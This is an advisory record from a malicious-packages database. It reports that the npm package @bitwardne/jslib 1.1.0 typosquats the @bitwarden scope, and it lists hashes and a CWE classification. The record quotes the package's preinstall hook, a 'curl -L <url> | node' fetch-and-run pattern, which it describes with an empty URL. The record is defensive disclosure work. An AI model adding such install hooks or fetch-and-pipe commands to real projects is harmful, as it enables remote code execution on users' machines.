{"id":"MAL-2026-17694","summary":"Malicious code in @bitwardne/jslib (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d)\nPackage @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form `curl -L \u003curl\u003e | node`, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at `npm install` time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.\n","modified":"2026-10-08T17:25:14.284046746Z","published":"2026-10-08T16:53:48Z","database_specific":{"malicious-packages-origins":[{"sha256":"030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d","source":"amazon-inspector","versions":["1.1.0"],"id":"IN-MAL-2026-021213","import_time":"2026-10-08T17:17:19.317410693Z","modified_time":"2026-10-08T16:53:48Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@bitwardne/jslib/v/1.1.0"}],"affected":[{"package":{"name":"@bitwardne/jslib","ecosystem":"npm","purl":"pkg:npm/%40bitwardne/jslib"},"versions":["1.1.0"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"tlsh":"1d11ab60ce309cb319c511e0b869505a7a118c2b8c04bc0c37d70a5c8b0f47b19fe74c","path":"package.json","sha256":"97b2d80b82e242feb26e10242bdf44fbd0e68d91d9db5f356541fb49770289bb"}],"package_integrity":[{"hashes":{"sha512_sri":"sha512-bKtulAXn3vpYZWYfpOJmhJtl7lOhjFDVIAsqSFOoBseWaX7qbOxVzqexMU7I4bwKkoGL9y6h77yDLFBnizZ8iA==","sha1":"5514602da5a0692d1e44a8db749955682c668ccf"},"filename":"jslib-1.1.0.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@bitwardne/jslib/MAL-2026-17694.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}